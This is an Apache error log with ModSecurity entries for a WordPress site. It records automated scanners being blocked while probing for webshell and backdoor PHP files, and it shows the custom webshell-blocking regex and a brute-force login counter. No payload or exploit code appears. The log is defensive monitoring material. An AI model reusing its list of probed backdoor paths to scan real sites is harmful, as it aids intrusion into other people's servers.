[Fri Nov 21 15:57:07.849307 2025] [:error] [pid 25554:tid 25582] [client 136.144.42.70:53869] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSAbUx-NtB-9AzFZrk5NmAAAARg"]
[Fri Nov 21 15:57:09.210194 2025] [:error] [pid 25431:tid 25510] [client 172.98.32.98:32859] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Fri Nov 21 15:57:10.087289 2025] [:error] [pid 25431:tid 25501] [client 172.98.32.98:32859] [client 172.98.32.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.98, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSAbVsklhXxmoIExII0tewAAAI4"]
[Fri Nov 21 15:57:10.528150 2025] [:error] [pid 25431:tid 25508] [client 172.98.32.98:32859] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSAbVsklhXxmoIExII0tfQAAAJU"]
[Fri Nov 21 15:57:16.019793 2025] [:error] [pid 25430:tid 25471] [client 45.132.227.65:64653] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Fri Nov 21 15:57:19.136658 2025] [:error] [pid 25430:tid 25483] [client 45.132.227.65:64653] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Fri Nov 21 15:57:19.562418 2025] [:error] [pid 25430:tid 25471] [client 45.132.227.65:64653] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aSAbX6pnWJcWt_4foXk-zgAAAEs"]
[Fri Nov 21 15:57:20.473204 2025] [:error] [pid 25429:tid 25435] [client 45.132.227.52:45457] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Fri Nov 21 15:57:21.881304 2025] [:error] [pid 25429:tid 25440] [client 45.132.227.52:45457] [client 45.132.227.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.227.52, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aSAbYT4rZbRSr7vu-NOhngAAAAc"]
[Fri Nov 21 15:57:22.362051 2025] [:error] [pid 25429:tid 25452] [client 45.132.227.52:45457] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Fri Nov 21 15:57:22.838463 2025] [:error] [pid 25429:tid 25444] [client 45.132.227.52:45457] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Fri Nov 21 15:57:23.268051 2025] [:error] [pid 25429:tid 25433] [client 45.132.227.52:45457] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Fri Nov 21 15:57:23.711767 2025] [:error] [pid 25429:tid 25452] [client 45.132.227.52:45457] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSAbYz4rZbRSr7vu-NOhtwAAABM"]
[Fri Nov 21 15:57:24.659187 2025] [:error] [pid 25430:tid 25471] [client 172.98.32.91:34211] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Fri Nov 21 15:57:25.174729 2025] [:error] [pid 25430:tid 25473] [client 172.98.32.91:34211] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aSAbZapnWJcWt_4foXk-7gAAAE0"]
[Fri Nov 21 15:57:26.610564 2025] [:error] [pid 25431:tid 25499] [client 172.98.32.83:44151] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Fri Nov 21 15:57:27.056328 2025] [:error] [pid 25431:tid 25503] [client 172.98.32.83:44151] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSAbZ8klhXxmoIExII0t6AAAAJA"]
[Fri Nov 21 15:57:28.781016 2025] [:error] [pid 25429:tid 25437] [client 172.98.32.100:31835] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Fri Nov 21 15:57:29.238306 2025] [:error] [pid 25429:tid 25440] [client 172.98.32.100:31835] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSAbaT4rZbRSr7vu-NOh8wAAAAc"]
[Fri Nov 21 15:57:30.154425 2025] [:error] [pid 25430:tid 25467] [client 45.132.227.55:53385] [client 45.132.227.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aSAbaqpnWJcWt_4foXk_CwAAAEc"]
[Fri Nov 21 15:57:31.033204 2025] [:error] [pid 25431:tid 25498] [client 172.98.32.91:22531] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Fri Nov 21 15:57:31.540819 2025] [:error] [pid 25431:tid 25508] [client 172.98.32.91:22531] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Fri Nov 21 15:57:33.292836 2025] [:error] [pid 25431:tid 25495] [client 172.98.32.91:22531] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSAbbcklhXxmoIExII0uIgAAAIg"]
[Fri Nov 21 15:57:34.578450 2025] [:error] [pid 46939:tid 46955] [client 45.132.227.57:65107] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSAbbu0OmVoxD4VZ_ZlpEQAAAU0"]
[Fri Nov 21 15:57:36.883422 2025] [:error] [pid 46939:tid 46954] [client 45.132.227.66:25641] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aSAbcO0OmVoxD4VZ_ZlpJgAAAUw"]
[Fri Nov 21 15:57:37.820495 2025] [:error] [pid 25429:tid 25445] [client 172.98.32.100:43755] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Fri Nov 21 15:57:38.704848 2025] [:error] [pid 25429:tid 25441] [client 172.98.32.100:43755] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Fri Nov 21 15:57:39.133684 2025] [:error] [pid 25429:tid 25442] [client 172.98.32.100:43755] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aSAbcz4rZbRSr7vu-NOiRwAAAAk"]
[Fri Nov 21 15:57:40.008657 2025] [:error] [pid 25431:tid 25493] [client 172.98.32.96:28417] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Fri Nov 21 15:57:40.953093 2025] [:error] [pid 25431:tid 25509] [client 172.98.32.96:28417] [client 172.98.32.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "aSAbdMklhXxmoIExII0uZAAAAJY"]
[Fri Nov 21 15:57:43.301688 2025] [:error] [pid 25430:tid 25470] [client 45.132.227.67:36227] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aSAbd6pnWJcWt_4foXk_XwAAAEo"]
[Fri Nov 21 15:57:44.633799 2025] [:error] [pid 25521:tid 25539] [client 136.144.42.75:20459] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Fri Nov 21 15:57:46.047481 2025] [:error] [pid 25521:tid 25542] [client 136.144.42.75:20459] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Fri Nov 21 15:57:46.946566 2025] [:error] [pid 25521:tid 25534] [client 136.144.42.75:20459] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Fri Nov 21 15:57:47.987226 2025] [:error] [pid 25521:tid 25537] [client 136.144.42.75:20459] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aSAbe_hXnBMilDddn3XjTQAAAM4"]
[Fri Nov 21 15:57:48.844005 2025] [:error] [pid 25431:tid 25501] [client 172.98.32.92:55145] [client 172.98.32.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aSAbfMklhXxmoIExII0upgAAAI4"]
[Fri Nov 21 15:57:49.699676 2025] [:error] [pid 25521:tid 25530] [client 45.132.227.59:22087] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aSAbffhXnBMilDddn3XjWQAAAMc"]
[Fri Nov 21 15:57:50.603580 2025] [:error] [pid 25430:tid 25468] [client 45.132.227.64:36543] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aSAbfqpnWJcWt_4foXk_jQAAAEg"]
[Fri Nov 21 15:57:52.506075 2025] [:error] [pid 46939:tid 46945] [client 172.98.32.81:59729] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Fri Nov 21 15:57:52.945804 2025] [:error] [pid 46939:tid 46956] [client 172.98.32.81:59729] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aSAbgO0OmVoxD4VZ_ZlpqQAAAU4"]
[Fri Nov 21 15:57:53.860528 2025] [:error] [pid 25431:tid 25507] [client 172.98.32.95:63417] [client 172.98.32.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSAbgcklhXxmoIExII0u1AAAAJQ"]
[Fri Nov 21 15:57:54.781646 2025] [:error] [pid 25554:tid 25573] [client 136.144.42.77:40263] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Fri Nov 21 15:57:55.693841 2025] [:error] [pid 25554:tid 25577] [client 136.144.42.77:40263] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSAbgx-NtB-9AzFZrk5O_AAAARM"]
[Fri Nov 21 15:57:56.593339 2025] [:error] [pid 25431:tid 25507] [client 172.98.32.83:20401] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSAbhMklhXxmoIExII0u-QAAAJQ"]
[Fri Nov 21 15:57:57.509473 2025] [:error] [pid 25431:tid 25496] [client 172.98.32.79:23911] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aSAbhcklhXxmoIExII0vBAAAAIk"]
[Fri Nov 21 15:57:58.396525 2025] [:error] [pid 25429:tid 25436] [client 45.132.227.63:23547] [client 45.132.227.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aSAbhj4rZbRSr7vu-NOi2wAAAAM"]
[Fri Nov 21 15:57:59.738117 2025] [:error] [pid 25554:tid 25570] [client 45.132.227.66:20111] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSAbhx-NtB-9AzFZrk5PHAAAAQw"]
[Fri Nov 21 15:58:03.088626 2025] [:error] [pid 25521:tid 25546] [client 172.98.32.82:36787] [client 172.98.32.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aSAbi_hXnBMilDddn3XjqAAAANc"]
[Fri Nov 21 15:58:04.025980 2025] [:error] [pid 25521:tid 25526] [client 172.98.32.90:27653] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Fri Nov 21 15:58:05.397240 2025] [:error] [pid 25521:tid 25546] [client 172.98.32.90:27653] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Fri Nov 21 15:58:05.887801 2025] [:error] [pid 25521:tid 25542] [client 172.98.32.90:27653] [client 172.98.32.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aSAbjfhXnBMilDddn3XjuwAAANM"]
[Fri Nov 21 15:58:07.188211 2025] [:error] [pid 25521:tid 25545] [client 172.98.32.83:42065] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Fri Nov 21 15:58:07.614009 2025] [:error] [pid 25521:tid 25535] [client 172.98.32.83:42065] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Fri Nov 21 15:58:09.843722 2025] [:error] [pid 25521:tid 25528] [client 172.98.32.83:42065] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aSAbkfhXnBMilDddn3Xj0gAAAMU"]
[Fri Nov 21 15:58:12.093919 2025] [:error] [pid 25554:tid 25565] [client 45.132.227.61:52029] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aSAblB-NtB-9AzFZrk5PWAAAAQc"]
[Fri Nov 21 15:58:13.000076 2025] [:error] [pid 46939:tid 46956] [client 45.132.227.62:54103] [client 45.132.227.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aSAblO0OmVoxD4VZ_ZlqOAAAAU4"]
[Fri Nov 21 15:58:16.697081 2025] [:error] [pid 25521:tid 25544] [client 172.98.32.77:30627] [client 172.98.32.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSAbmPhXnBMilDddn3Xj9QAAANU"]
[Fri Nov 21 15:58:18.524795 2025] [:error] [pid 25429:tid 25435] [client 136.144.42.70:59587] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Fri Nov 21 15:58:18.957741 2025] [:error] [pid 25429:tid 25447] [client 136.144.42.70:59587] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Fri Nov 21 15:58:19.418603 2025] [:error] [pid 25429:tid 25455] [client 136.144.42.70:59587] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Fri Nov 21 15:58:19.851938 2025] [:error] [pid 25429:tid 25434] [client 136.144.42.70:59587] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Fri Nov 21 15:58:22.228737 2025] [:error] [pid 25429:tid 25433] [client 136.144.42.70:59587] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSAbnj4rZbRSr7vu-NOjzwAAAAA"]
[Fri Nov 21 15:58:23.136783 2025] [:error] [pid 25430:tid 25464] [client 136.144.42.75:65311] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aSAbn6pnWJcWt_4foXlAewAAAEQ"]
[Fri Nov 21 15:58:24.022129 2025] [:error] [pid 25431:tid 25497] [client 172.98.32.90:60589] [client 172.98.32.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aSAboMklhXxmoIExII0v6QAAAIo"]
[Fri Nov 21 15:58:25.005444 2025] [:error] [pid 25429:tid 25435] [client 45.132.227.67:50727] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aSAboT4rZbRSr7vu-NOj8QAAAAI"]
[Fri Nov 21 15:58:25.854395 2025] [:error] [pid 25431:tid 25498] [client 136.144.42.74:48371] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aSAbocklhXxmoIExII0v8gAAAIs"]
[Fri Nov 21 15:58:26.737456 2025] [:error] [pid 25554:tid 25569] [client 45.132.227.58:45315] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSAboh-NtB-9AzFZrk5PrAAAAQs"]
[Fri Nov 21 15:58:29.164326 2025] [:error] [pid 25430:tid 25477] [client 136.144.42.72:31021] [client 136.144.42.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSAbpapnWJcWt_4foXlAlQAAAFE"]
[Fri Nov 21 15:58:30.100874 2025] [:error] [pid 25430:tid 25483] [client 45.132.227.56:55967] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aSAbpqpnWJcWt_4foXlAmwAAAFc"]
[Fri Nov 21 15:58:30.955309 2025] [:error] [pid 25429:tid 25437] [client 45.132.227.56:43493] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aSAbpj4rZbRSr7vu-NOkOgAAAAQ"]
[Fri Nov 21 15:58:31.848207 2025] [:error] [pid 46939:tid 46957] [client 172.98.32.84:31639] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aSAbp-0OmVoxD4VZ_ZlrCQAAAU8"]
